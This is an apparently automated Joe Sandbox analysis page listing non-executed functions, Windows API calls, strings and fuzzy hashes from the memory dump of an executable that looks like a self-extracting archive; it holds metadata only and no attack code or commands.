Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a148cff6fc183e2002b87489dd0fa5f246c4d79ac350510e39ea8898e91dd9c2
Instruction ID: 7425445c770a7f64da60c9033f14621ac80ba57bb0484863173aed90f820a43e
Opcode Fuzzy Hash: a148cff6fc183e2002b87489dd0fa5f246c4d79ac350510e39ea8898e91dd9c2
Instruction Fuzzy Hash: 0AF0A071442B41DBEB349B74C804392BBE4AB21324F048B9ED0F64A5E4C7B0A9899B50

Non-executed Functions

Function 00B09B5C Relevance: 23.3, APIs: 9, Strings: 4, Instructions: 577fileCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B09CB1

Part of subcall function 00B0AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B0AC2E
Part of subcall function 00B0AC11: GetLastError.KERNEL32 ref: 00B0AC72
Part of subcall function 00B0AC11: CloseHandle.KERNEL32(?), ref: 00B0AC81

Part of subcall function 00B02F45: _wcslen.LIBCMT ref: 00B02F50

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,?,00000000,?,00000001,?,00000000,00000000,?,\??\), ref: 00B09EE1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,5EA84CA0,00B39937,000000FF), ref: 00B09F1E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000,?,00000000,?,00000000,?,00000001,?,00000000,00000000), ref: 00B0A0BF

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00B0A127
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,5EA84CA0,00B39937,000000FF), ref: 00B0A134
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,5EA84CA0,00B39937,000000FF), ref: 00B0A14A
RemoveDirectoryW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,5EA84CA0,00B39937,000000FF), ref: 00B0A18E
DeleteFileW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,5EA84CA0,00B39937,000000FF), ref: 00B0A196

Strings

\??\, xrefs: 00B09C0B
UNC\, xrefs: 00B09CAB, 00B09CB0, 00B09CCD
SeRestorePrivilege, xrefs: 00B09BBD
SeCreateSymbolicLinkPrivilege, xrefs: 00B09BC7

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CloseFileHandle_wcslen$CreateErrorLast$ControlCurrentDeleteDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3517300771-3508440684
Opcode ID: 65f1368c5b425d68db38f779faa1062ced6ee78135364d4afdec11b43aa93da2
Instruction ID: affbd9f220ee99d00532cf2bcaf382a29a65c9c042fcd898a393bfc1dbe9000a
Opcode Fuzzy Hash: 65f1368c5b425d68db38f779faa1062ced6ee78135364d4afdec11b43aa93da2
Instruction Fuzzy Hash: 883264719002889FDB24DFA4CC85BEE7BF9EF15310F1045A9E859E72D2DB349A48CB61

Function 00B21630 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 275windowfileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B2163A

Part of subcall function 00B01E44: GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
Part of subcall function 00B01E44: SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00B216BB
EndDialog.USER32(?,00000006), ref: 00B216CE
GetDlgItem.USER32(?,0000006C), ref: 00B216EA
SetFocus.USER32(00000000), ref: 00B216F1

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Part of subcall function 00B01DE7: SetDlgItemTextW.USER32(?,?,?), ref: 00B01DFC

SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00B21763
FindFirstFileW.KERNEL32(?,?), ref: 00B21783
FindClose.KERNEL32(00000000,?,00000000,00000000,00000000,00000099,?,?,00000000), ref: 00B21826
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00B218AD

Part of subcall function 00B01150: _wcslen.LIBCMT ref: 00B0115B

Strings

REPLACEFILEDLG, xrefs: 00B2164F
%s %s, xrefs: 00B21869, 00B2199A

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Item$MessageSend$FindText_wcslen$CloseDialogFileFirstFocusH_prolog3_Window
String ID: %s %s$REPLACEFILEDLG
API String ID: 485132379-439456425
Opcode ID: b1e83d52a0484c894e0ce3830f4ce9ea67474d5fb5f45732381d6965060a1e53
Instruction ID: f8b39c06dbf66cbdabf32736dc9d675bca7d5437f6f7957fe5a0311317647ae6
Opcode Fuzzy Hash: b1e83d52a0484c894e0ce3830f4ce9ea67474d5fb5f45732381d6965060a1e53
Instruction Fuzzy Hash: 26A1C171A40228AADB25EBA8DC4AFEE7BFDAF15301F0045D5B209B30D1DA705F84CB60

Function 00B3480E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B34954

Strings

1#INF, xrefs: 00B35B61
1#IND, xrefs: 00B35B4C
1#SNAN, xrefs: 00B35B53
1#QNAN, xrefs: 00B35B5A

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 260a48766f1282d404ee942b6efc41935ea825a5ca079fab688e341ffd483229
Instruction ID: 473ac6eefa6dad875105580d560eb6ff09db3338069b92b7dc7379ce93993dc3
Opcode Fuzzy Hash: 260a48766f1282d404ee942b6efc41935ea825a5ca079fab688e341ffd483229
Instruction Fuzzy Hash: 8BC20571E096288FDB35CE289D807EAB7F5EB44305F2545EAD84EE7240E774AE858F40

Function 00B03D9D Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B0438C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B04523

Strings

CMT, xrefs: 00B04551

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 2172594012-2756464174
Opcode ID: 4076f1e691c21044e272afc19b5da5774071b9ffd09ea8d3788a59b6402793d3
Instruction ID: dcab4d02a7b88dddf4bafdbb44add457c1a86512546a48557619a9625cad6325
Opcode Fuzzy Hash: 4076f1e691c21044e272afc19b5da5774071b9ffd09ea8d3788a59b6402793d3
Instruction Fuzzy Hash: 8772BEB1A003448FCB18DF68C8957EA7FE5FF59300F0845ADED5A9B282DB70A945CB61

Function 00B26878 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B26884
IsDebuggerPresent.KERNEL32 ref: 00B26950
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B26970
UnhandledExceptionFilter.KERNEL32(?), ref: 00B2697A

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f30fd2954cfd93f9d6a6fce12a4e16a532bb1a60c9b4880b84bf6e5ff400c6af
Instruction ID: 5f6753de2b8649e447022bf7eeeaba6642a7fc5d175b6a202f5e5f8c75203945
Opcode Fuzzy Hash: f30fd2954cfd93f9d6a6fce12a4e16a532bb1a60c9b4880b84bf6e5ff400c6af
Instruction Fuzzy Hash: 7F312775D453289BDB21DFA4D989BCCBBF8BF08300F1040EAE40CAB250EB759A849F45

Function 00B0932C Relevance: 6.0, APIs: 4, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B0952D,?,00000040,00B0931E,00000001,?,?,?,?,0000001C,00B17618,00B4E0C8,WaitForMultipleObjects error %d, GetLastError %d,000000FF), ref: 00B09330
FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,00000000,00000000,00000000,?,?,00B0952D,?,00000040,00B0931E,00000001,?,?), ref: 00B09351
_wcslen.LIBCMT ref: 00B09360
LocalFree.KERNEL32(00000000,00000000,00000000,00B4E0C8,?,?,00B0952D,?,00000040,00B0931E,00000001,?,?,?,?,0000001C), ref: 00B09373

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage_wcslen
String ID:
API String ID: 991192900-0
Opcode ID: 6cc7848897697a4fdc168950013761766ab48c23c6bc9047511d91e08cf7e4aa
Instruction ID: e6dee70f4da289e17ad18f1f2681459d67f5074d310d9bd9ea00410915bad2c3
Opcode Fuzzy Hash: 6cc7848897697a4fdc168950013761766ab48c23c6bc9047511d91e08cf7e4aa
Instruction Fuzzy Hash: 4AF082B5600214FBEB189BA19E05EFF7BBCEB85740B208099F502A71D1CE709E019B78

Function 00B2AAC4 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00B2535E), ref: 00B2ABBC
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00B2535E), ref: 00B2ABC6
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00B2535E), ref: 00B2ABD3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8bc7eecb3273b7fcc91181d3f049d621de2fa451d373797493452e739828dcd3
Instruction ID: 84172e7f58e00f14fc01e9a5cd12df74a5305001802485ed22193b595d6d4b27
Opcode Fuzzy Hash: 8bc7eecb3273b7fcc91181d3f049d621de2fa451d373797493452e739828dcd3
Instruction Fuzzy Hash: 7931D3749412289BCB21DF68E98879DBBF8FF18310F5041EAE41CA7261EB349F818F45

Function 00B34360 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
Instruction ID: f76c720eb0097fc0828256e2c92325464615c1aa827e764ef4b5454b212eb69d
Opcode Fuzzy Hash: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
Instruction Fuzzy Hash: 1F022C71E002199FDF14CFA9D8806AEB7F5EF49314F2582AAD919E7384D731AD41CB90

Function 00B1FD34 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00B1FD6A
GetNumberFormatW.KERNEL32(00000400,00000000,?,00B49714,?,?), ref: 00B1FDB3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: dc425d15b8a05500c785e326069ee4344f28feced60fc8a3857fa18c607a80be
Instruction ID: 141b33e3be592f735fb8ba44256357a0c610c871728c67e836fd27e26b476ffa
Opcode Fuzzy Hash: dc425d15b8a05500c785e326069ee4344f28feced60fc8a3857fa18c607a80be
Instruction Fuzzy Hash: 96113C75260348BADB10DF64DC41BEB77F8EF08701F1044A9A905A72A1EB70AA48C765

Function 00B24E14 Relevance: 3.0, APIs: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00B24D59,0000001C,00B24F4E,00000000,?,?,00000000,00000000,?,?,?,00B24D59,00000004,00B55D84,00B24FDE), ref: 00B24E25
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,00B24D59,00000004,00B55D84,00B24FDE,?), ref: 00B24E40

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID:
API String ID: 401686933-0
Opcode ID: b47c95a687f110b1843180afaeb6615142b3e2571ba0abd3f34806683917e5bd
Instruction ID: c9b23b7ed23a0d5466b8e6aa1123fc53941853e5b583b2478e2a6eb164d1622b
Opcode Fuzzy Hash: b47c95a687f110b1843180afaeb6615142b3e2571ba0abd3f34806683917e5bd
Instruction Fuzzy Hash: B101F7326001196BDB18EE69DC05BEE7BE9EFC4328F0DC165ED1DEB255DB38D8018680

Function 00B048AA Relevance: 2.0, Strings: 1, Instructions: 776COMMON

Download Yara Rule

Strings

CMT, xrefs: 00B05131

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 5cb35cb18ccd7f898b01e2cad504efe28d5341608b0b7a9d3c9764a4a83a482e
Instruction ID: 9750eab54cfaa069e65eb1ddb95534cff081f955a41770500e69712bfabda72d
Opcode Fuzzy Hash: 5cb35cb18ccd7f898b01e2cad504efe28d5341608b0b7a9d3c9764a4a83a482e
Instruction Fuzzy Hash: EC629071A006499FDF18DF64C885BEE7FE4EF19300F0841A9ED499B6C2DB70A954CBA1

Function 00B386D2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B386CD,?,?,00000008,?,?,00B3836D,00000000), ref: 00B388FF

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3a925692760b1ae9663c97179784598f2eb59c17b8641eb50cfbe66450f885f3
Instruction ID: 713551d991c51a48d34d82591585d3f0209ecc7198ada58d8e1c7ec3fabbfee0
Opcode Fuzzy Hash: 3a925692760b1ae9663c97179784598f2eb59c17b8641eb50cfbe66450f885f3
Instruction Fuzzy Hash: A6B127356106089FD715CF28C48AB647BE1FF45364F798698F899CF2A1CB35E982CB42

Function 00B26694 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B266AA

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 4abe1d43e0cbe06dca924b6ea696fedcff1fdfbf113d01454967bd55ae1e1204
Instruction ID: fa721fcb7ab241c0f3180c9698a856de1616b737830304dd5005be33b3249dc2
Opcode Fuzzy Hash: 4abe1d43e0cbe06dca924b6ea696fedcff1fdfbf113d01454967bd55ae1e1204
Instruction Fuzzy Hash: AC51BCB1D117258FDF19CF58E8857AABBF0FB58314F2484AAC805EB261DB749D00CB50

Function 00B103BE Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00B103ED

Part of subcall function 00B10469: __EH_prolog3.LIBCMT ref: 00B10470

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3Version
String ID:
API String ID: 2775145068-0
Opcode ID: 291888e5b4f6f9c7dcced0fabd1a9f744045d6674501eeba899798d1d389d3eb
Instruction ID: 7623ad9b8fc191a4ff26be5a7e1a1733cef7fe2ef5ff38bd2bc9b6b01c77f4a6
Opcode Fuzzy Hash: 291888e5b4f6f9c7dcced0fabd1a9f744045d6674501eeba899798d1d389d3eb
Instruction Fuzzy Hash: C4F081344142489AEB24FF74AC867DD7BF0BB16308F8045A8D66667352DBF455CD8B11

Function 00B05AFE Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

gj, xrefs: 00B05BCE

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 8558fd2211eaf79e9046a04d9065ebd1548f46414df52c994b997588d63b2c8f
Instruction ID: 55fe8e01a0edaeecfb6aec078c1c06bc0364986044f33e797ec85549ad95516e
Opcode Fuzzy Hash: 8558fd2211eaf79e9046a04d9065ebd1548f46414df52c994b997588d63b2c8f
Instruction Fuzzy Hash: E4D117B2A083458FC354CF69D88065AFBE1BFC9308F59492EE998E7301D734A955CF86

Function 00B26A0B Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00026A20,00B26445), ref: 00B26A10

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3720316a26be8c261ba492bf94dc6f6fff80d413f1ba331a330bf37ff2a7168c
Instruction ID: fc7fdc36fc6a6b2c00b8f259b08bdf723e1de8e2f948c39ba9d66e50659daa9c
Opcode Fuzzy Hash: 3720316a26be8c261ba492bf94dc6f6fff80d413f1ba331a330bf37ff2a7168c
Instruction Fuzzy Hash:

Function 00B32CE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B32CE0

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd
